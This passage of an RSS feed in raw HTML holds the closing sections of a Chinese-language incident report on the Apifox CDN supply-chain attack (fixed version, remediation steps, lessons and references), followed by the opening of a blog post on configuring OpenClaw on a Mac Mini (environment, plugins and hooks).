PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">localStorage._rl_headers</span></code><span leaf="">（攻击载荷相关）</span></p></td></tr></tbody></table></p><hr style="box-sizing: border-box;border: none;height: 1px;color: inherit;margin: 2em 0px;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;transform-origin: 0px 0px;transform: scale(1, 0.5);background: linear-gradient(to right, rgba(0, 0, 0, 0), rgba(0, 0, 0, 0.1), rgba(0, 0, 0, 0));"/><h2 style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-size: 18.2px;font-weight: bold;margin: 4em auto 2em;text-align: center;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;display: table;padding: 0.3em 1em;color: rgb(255, 255, 255);background: rgb(0, 152, 116);border-radius: 8px;box-shadow: rgba(0, 0, 0, 0.1) 0px 4px 6px;"><span leaf="">八、官方修复说明</span></h2><h3 style="box-sizing: border-box;border-width: 0px 0px 1px 4px;border-style: solid solid dashed;border-color: rgb(229, 229, 229) rgb(229, 229, 229) rgb(0, 152, 116) rgb(0, 152, 116);font-size: 16.8px;font-weight: bold;margin: 2em 8px 0.75em 0px;text-align: left;line-height: 1.2;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;padding-left: 12px;color: rgb(63, 63, 63);"><span leaf="">8.1 修复版本</span></h3><ul style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);list-style: none;margin: 0px;padding: 0px 0px 0px 1.5em;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;text-indent: -1em;display: block;margin: 0.5em 8px;color: rgb(63, 63, 63);"><p><span leaf="">• </span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">安全版本</span></strong><span leaf="">：Apifox 桌面客户端 </span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">2.8.19</span></strong><span leaf=""> 及以上</span></p></li></ul><h3 style="box-sizing: border-box;border-width: 0px 0px 1px 4px;border-style: solid solid dashed;border-color: rgb(229, 229, 229) rgb(229, 229, 229) rgb(0, 152, 116) rgb(0, 152, 116);font-size: 16.8px;font-weight: bold;margin: 2em 8px 0.75em 0px;text-align: left;line-height: 1.2;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;padding-left: 12px;color: rgb(63, 63, 63);"><span leaf="">8.2 修复措施</span></h3><ol style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);list-style: none;margin: 0px;padding: 0px 0px 0px 1.5em;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;text-indent: -1em;display: block;margin: 0.5em 8px;color: rgb(63, 63, 63);"><p><span leaf="">1. 将相关埋点/统计脚本改为</span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">安装包内资源</span></strong><span leaf="">，不再从 CDN 动态拉取</span></p></li><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;text-indent: -1em;display: block;margin: 0.5em 8px;color: rgb(63, 63, 63);"><p><span leaf="">2. 加强了 Electron 框架的安全配置</span></p></li></ol><h3 style="box-sizing: border-box;border-width: 0px 0px 1px 4px;border-style: solid solid dashed;border-color: rgb(229, 229, 229) rgb(229, 229, 229) rgb(0, 152, 116) rgb(0, 152, 116);font-size: 16.8px;font-weight: bold;margin: 2em 8px 0.75em 0px;text-align: left;line-height: 1.2;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;padding-left: 12px;color: rgb(63, 63, 63);"><span leaf="">8.3 官方公告</span></h3><ul style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);list-style: none;margin: 0px;padding: 0px 0px 0px 1.5em;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;text-indent: -1em;display: block;margin: 0.5em 8px;color: rgb(63, 63, 63);"><p><span leaf="">• </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;color: rgb(87, 107, 149);"><span leaf="">Apifox 官方公告</span></span><span leaf=""> <a href="https://docs.apifox.com/8392582m0" target="_blank">https://docs.apifox.com/8392582m0</a></span></p></li></ul><hr style="box-sizing: border-box;border: none;height: 1px;color: inherit;margin: 2em 0px;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;transform-origin: 0px 0px;transform: scale(1, 0.5);background: linear-gradient(to right, rgba(0, 0, 0, 0), rgba(0, 0, 0, 0.1), rgba(0, 0, 0, 0));"/><h2 style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-size: 18.2px;font-weight: bold;margin: 4em auto 2em;text-align: center;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;display: table;padding: 0.3em 1em;color: rgb(255, 255, 255);background: rgb(0, 152, 116);border-radius: 8px;box-shadow: rgba(0, 0, 0, 0.1) 0px 4px 6px;"><span leaf="">九、总结</span></h2><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">本次 Apifox 供应链投毒事件是一起典型的</span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">软件供应链攻击</span></strong><span leaf="">，攻击者利用 CDN 动态加载机制的缺陷，成功将恶意代码注入到广泛的开发者群体中。</span></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">核心教训</span></strong><span leaf="">：</span></p><ol style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);list-style: none;margin: 0px;padding: 0px 0px 0px 1.5em;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;text-indent: -1em;display: block;margin: 0.5em 8px;color: rgb(63, 63, 63);"><p><span leaf="">1. 动态加载外部脚本存在重大安全隐患</span></p></li><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;text-indent: -1em;display: block;margin: 0.5em 8px;color: rgb(63, 63, 63);"><p><span leaf="">2. Electron 应用需严格启用沙箱机制</span></p></li><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;text-indent: -1em;display: block;margin: 0.5em 8px;color: rgb(63, 63, 63);"><p><span leaf="">3. 开发者需定期轮换敏感凭证（SSH 密钥、Token 等）</span></p></li><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;text-indent: -1em;display: block;margin: 0.5em 8px;color: rgb(63, 63, 63);"><p><span leaf="">4. 供应链安全是现代软件开发不可忽视的一环</span></p></li></ol><hr style="box-sizing: border-box;border: none;height: 1px;color: inherit;margin: 2em 0px;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;transform-origin: 0px 0px;transform: scale(1, 0.5);background: linear-gradient(to right, rgba(0, 0, 0, 0), rgba(0, 0, 0, 0.1), rgba(0, 0, 0, 0));"/><h2 style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-size: 18.2px;font-weight: bold;margin: 4em auto 2em;text-align: center;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;display: table;padding: 0.3em 1em;color: rgb(255, 255, 255);background: rgb(0, 152, 116);border-radius: 8px;box-shadow: rgba(0, 0, 0, 0.1) 0px 4px 6px;"><span leaf="">参考资料</span></h2><ol style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);list-style: none;margin: 0px;padding: 0px 0px 0px 1.5em;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;text-indent: -1em;display: block;margin: 0.5em 8px;color: rgb(63, 63, 63);"><p><span leaf="">1. </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;color: rgb(87, 107, 149);"><span leaf="">Apifox 供应链投毒攻击 - 完整技术分析</span></span><span leaf=""> <a href="https://rce.moe/2026/03/25/apifox-supply-chain-attack-analysis/" target="_blank">https://rce.moe/2026/03/25/apifox-supply-chain-attack-analysis/</a></span></p></li><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;text-indent: -1em;display: block;margin: 0.5em 8px;color: rgb(63, 63, 63);"><p><span leaf="">2. </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;color: rgb(87, 107, 149);"><span leaf="">Apifox 官方公告</span></span><span leaf=""> <a href="https://docs.apifox.com/8392582m0" target="_blank">https://docs.apifox.com/8392582m0</a></span></p></li><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;text-indent: -1em;display: block;margin: 0.5em 8px;color: rgb(63, 63, 63);"><p><span leaf="">3. </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;color: rgb(87, 107, 149);"><span leaf="">Apifox CDN 供应链投毒事件简单复盘 - 离别歌</span></span><span leaf=""> <a href="https://www.leavesongs.com/PENETRATION/apifox-supply-chain-attack-analysis.html" target="_blank">https://www.leavesongs.com/PENETRATION/apifox-supply-chain-attack-analysis.html</a></span></p></li></ol><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;font-style: italic;"><span leaf="">本报告基于公开信息整理，仅供参考。</span></span></p></div><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=9b5fb917&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzI1NDg4MTIxMw%3D%3D%26mid%3D2247486727%26idx%3D1%26sn%3Dc7fa3662d38425a18438e180cef12d26">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 27 Mar 2026 10:50:00 +0800</pubDate>
    </item>
    <item>
      <title>Mac Mini 上跑 OpenClaw 踩坑实录</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzI1NDg4MTIxMw==&amp;mid=2247486714&amp;idx=1&amp;sn=7fdfb53753b2f3a17e0f4f6733dc9f02</link>
      <description>前言跟风折腾了一阵 OpenClaw，把过程中遇到的问题和解决办法整理成了这篇记录。</description>
      <content:encoded><![CDATA[<p>原创 <span>咩咩咩</span> <span>2026-02-03 07:38</span> <span style="display: inline-block;">北京</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=0be4e7eb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2Fic56Y1PMq5MV6PRSibp6KZmtjwNe0dv7nkHRK5JpJ5nOT9vRHO1tLfusmnl3aGwn4hofSBGR7b37L0k99w5M3xHw%2F0%3Fwx_fmt%3Djpeg"/></p>
  
  <div style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;line-height: 1.75;text-align: left;"><h2 data-heading="true" style="display: table;margin: 4em auto 2em;color: #fff;background: #009874;font-weight: bold;text-align: center;padding: 0.3em 1em;border-radius: 8px;font-size: 20.8px;box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);margin-top: 0 !important;"><span leaf="">前言</span></h2><p style="margin: 1.5em 8px;letter-spacing: 0.1em;color: #3f3f3f;"><span leaf="">跟风折腾了一阵 OpenClaw，把过程中遇到的问题和解决办法整理成了这篇记录。环境是 Mac Mini (Apple Silicon)，后端接了 千问、智谱、Anthropic、OpenAI 等主流模型，通过飞书 Bot 和 Web 控制台两个渠道对外服务。安装过程 OpenClaw 作者已经提供了一键脚本，这里不赘述，主要聊聊配置过程中那些文档里没写、搜也搜不到的坑。</span></p><hr style="border-style: solid;border-width: 2px 0 0;border-color: rgba(0, 0, 0, 0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);height: 1px;border: none;margin: 2em 0;background: linear-gradient(to right, rgba(0, 0, 0, 0), rgba(0, 0, 0, 0.1), rgba(0, 0, 0, 0));"/><h2 data-heading="true" style="display: table;margin: 4em auto 2em;color: #fff;background: #009874;font-weight: bold;text-align: center;padding: 0.3em 1em;border-radius: 8px;font-size: 20.8px;box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);"><span leaf="">基础环境</span></h2><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;line-height: 1.75;text-align: left;max-width: 100%;overflow: auto;"><table style="border-collapse: separate;border-spacing: 0;border-radius: 8px;margin: 1em 8px;color: #3f3f3f;box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);overflow: hidden;margin-top: 0 !important;"><thead><tr><th style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;background: rgba(0, 0, 0, 0.05);"><p><span leaf="">项目</span></p></th><th style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;background: rgba(0, 0, 0, 0.05);"><p><span leaf="">内容</span></p></th></tr></thead><tbody><tr><td style="border: 1px solid #dfdfdf;color: #3f3f3f;word-break: keep-all;padding: 0.5em 1em;"><p><span leaf="">设备</span></p></td><td style="border: 1px solid #dfdfdf;color: #3f3f3f;word-break: keep-all;padding: 0.5em 1em;"><p><span leaf="">Mac Mini (Apple Silicon)</span></p></td></tr><tr><td style="border: 1px solid #dfdfdf;color: #3f3f3f;word-break: keep-all;padding: 0.5em 1em;"><p><span leaf="">OpenClaw 版本</span></p></td><td style="border: 1px solid #dfdfdf;color: #3f3f3f;word-break: keep-all;padding: 0.5em 1em;"><p><span leaf="">2026.1.30 (76b5208)</span></p></td></tr><tr><td style="border: 1px solid #dfdfdf;color: #3f3f3f;word-break: keep-all;padding: 0.5em 1em;"><p><span leaf="">安装路径</span></p></td><td style="border: 1px solid #dfdfdf;color: #3f3f3f;word-break: keep-all;padding: 0.5em 1em;"><code style="font-size: 90%;color: #d14;background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">/opt/homebrew/lib/node_modules/openclaw/</span></code></td></tr><tr><td style="border: 1px solid #dfdfdf;color: #3f3f3f;word-break: keep-all;padding: 0.5em 1em;"><p><span leaf="">配置目录</span></p></td><td style="border: 1px solid #dfdfdf;color: #3f3f3f;word-break: keep-all;padding: 0.5em 1em;"><code style="font-size: 90%;color: #d14;background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">~/.openclaw/</span></code></td></tr><tr><td style="border: 1px solid #dfdfdf;color: #3f3f3f;word-break: keep-all;padding: 0.5em 1em;"><p><span leaf="">日志文件</span></p></td><td style="border: 1px solid #dfdfdf;color: #3f3f3f;word-break: keep-all;padding: 0.5em 1em;"><code style="font-size: 90%;color: #d14;background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">~/.openclaw/logs/gateway.log</span></code></td></tr><tr><td style="border: 1px solid #dfdfdf;color: #3f3f3f;word-break: keep-all;padding: 0.5em 1em;"><p><span leaf="">Gateway 端口</span></p></td><td style="border: 1px solid #dfdfdf;color: #3f3f3f;word-break: keep-all;padding: 0.5em 1em;"><p><span leaf="">18789</span></p></td></tr><tr><td style="border: 1px solid #dfdfdf;color: #3f3f3f;word-break: keep-all;padding: 0.5em 1em;"><p><span leaf="">集成渠道</span></p></td><td style="border: 1px solid #dfdfdf;color: #3f3f3f;word-break: keep-all;padding: 0.5em 1em;"><p><span leaf="">飞书（WebSocket）、Webchat</span></p></td></tr><tr><td style="border: 1px solid #dfdfdf;color: #3f3f3f;word-break: keep-all;padding: 0.5em 1em;"><p><span leaf="">搜索引擎</span></p></td><td style="border: 1px solid #dfdfdf;color: #3f3f3f;word-break: keep-all;padding: 0.5em 1em;"><p><span leaf="">Brave Search API</span></p></td></tr></tbody></table></p><p style="margin: 1.5em 8px;letter-spacing: 0.1em;color: #3f3f3f;"><span leaf="">OpenClaw 通过 npm 全局安装，配置和插件统一放在 </span><code style="font-size: 90%;color: #d14;background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">~/.openclaw/</span></code><span leaf=""> 下。Gateway 进程用 macOS 原生的 LaunchAgent 做守护，</span><code style="font-size: 90%;color: #d14;background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">OpenClaw daemon install</span></code><span leaf=""> 会自动在 </span><code style="font-size: 90%;color: #d14;background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">~/Library/LaunchAgents/</span></code><span leaf=""> 下生成 plist。</span></p><h3 data-heading="true" style="margin: 2em 8px 0.75em 0;color: #3f3f3f;font-weight: bold;line-height: 1.2;padding-left: 12px;font-size: 19.2px;border-left: 4px solid #009874;border-bottom: 1px dashed #009874;"><span leaf="">插件</span></h3><p style="margin: 1.5em 8px;letter-spacing: 0.1em;color: #3f3f3f;"><span leaf="">OpenClaw 内置了多个插件，按需开启就好：</span></p><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;line-height: 1.75;text-align: left;max-width: 100%;overflow: auto;"><table style="border-collapse: separate;border-spacing: 0;border-radius: 8px;margin: 1em 8px;color: #3f3f3f;box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);overflow: hidden;margin-top: 0 !important;"><thead><tr><th style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;background: rgba(0, 0, 0, 0.05);"><p><span leaf="">插件</span></p></th><th style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;background: rgba(0, 0, 0, 0.05);"><p><span leaf="">用途</span></p></th></tr></thead><tbody><tr><td style="border: 1px solid #dfdfdf;color: #3f3f3f;word-break: keep-all;padding: 0.5em 1em;"><p><span leaf="">Feishu</span></p></td><td style="border: 1px solid #dfdfdf;color: #3f3f3f;word-break: keep-all;padding: 0.5em 1em;"><p><span leaf="">第三方，本土环境 IM 渠道，网上教程很详细</span></p></td></tr><tr><td style="border: 1px solid #dfdfdf;color: #3f3f3f;word-break: keep-all;padding: 0.5em 1em;"><p><span leaf="">Memory (Core)</span></p></td><td style="border: 1px solid #dfdfdf;color: #3f3f3f;word-break: keep-all;padding: 0.5em 1em;"><p><span leaf="">基于文件的记忆系统，支持跨会话记忆搜索和自动捕获</span></p></td></tr><tr><td style="border: 1px solid #dfdfdf;color: #3f3f3f;word-break: keep-all;padding: 0.5em 1em;"><p><span leaf="">Qwen OAuth</span></p></td><td style="border: 1px solid #dfdfdf;color: #3f3f3f;word-break: keep-all;padding: 0.5em 1em;"><p><span leaf="">通义千问国际版（qwen-portal）的 OAuth 认证流程</span></p></td></tr><tr><td style="border: 1px solid #dfdfdf;color: #3f3f3f;word-break: keep-all;padding: 0.5em 1em;"><p><span leaf="">Notion (Skill)</span></p></td><td style="border: 1px solid #dfdfdf;color: #3f3f3f;word-break: keep-all;padding: 0.5em 1em;"><p><span leaf="">读写 Notion 工作区，拿到 Integration Token 配进去即可</span></p></td></tr></tbody></table></p><h3 data-heading="true" style="margin: 2em 8px 0.75em 0;color: #3f3f3f;font-weight: bold;line-height: 1.2;padding-left: 12px;font-size: 19.2px;border-left: 4px solid #009874;border-bottom: 1px dashed #009874;"><span leaf="">内置 Hooks</span></h3><p style="margin: 1.5em 8px;letter-spacing: 0.1em;color: #3f3f3f;"><span leaf="">OpenClaw 有一套 Hook 机制，可以在特定生命周期节点注入逻辑。建议三个都启用：</span></p><ul style="margin-left: 0;color: #3f3f3f;list-style: none;padding-left: 1.5em;" class="list-paddingleft-1"><li style="display: block;color: #3f3f3f;margin: 0.5em 8px;"><p><span leaf="">• </span><strong style="color: #009874;font-weight: bold;font-size: inherit;"><span leaf="">boot-md</span></strong><span leaf="">：启动时加载 SOUL.md 等工作区文件作为系统上下文</span></p></li><li style="display: block;color: #3f3f3f;margin: 0.5em 8px;"><p><span leaf="">• </span><strong style="color: #009874;font-weight: bold;font-size: inherit;"><span leaf="">command-logger</span></strong><span leaf="">：记录所有指令执行日志</span></p></li><li style="display: block;color: #3f3f3f;margin: 0.5em 8px;"><p><span leaf="">• </span><strong style="color: #009874;font-weight: bold;font-size: inherit;"><span leaf="">session-memory</span></strong><span leaf="">：会话级记忆，配合 Memory Core 插件实现跨会话信息持久化</span></p></li></ul><p style="margin: 1.5em 8px;letter-spacing: 0.1em;color: #3f3f3f;"><span leaf="">还有一个 </span><code style="font-size: 90%;color: #d14;background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">send-changelog</span></code><span leaf=""> 没在向导中出现——这东西会在版本更新后自动给用户发更新日志，对内部使用场景来说是噪音。</span></p><hr style="border-style: solid;border-width: 2px 0 0;border-color: rgba(0, 0, 0, 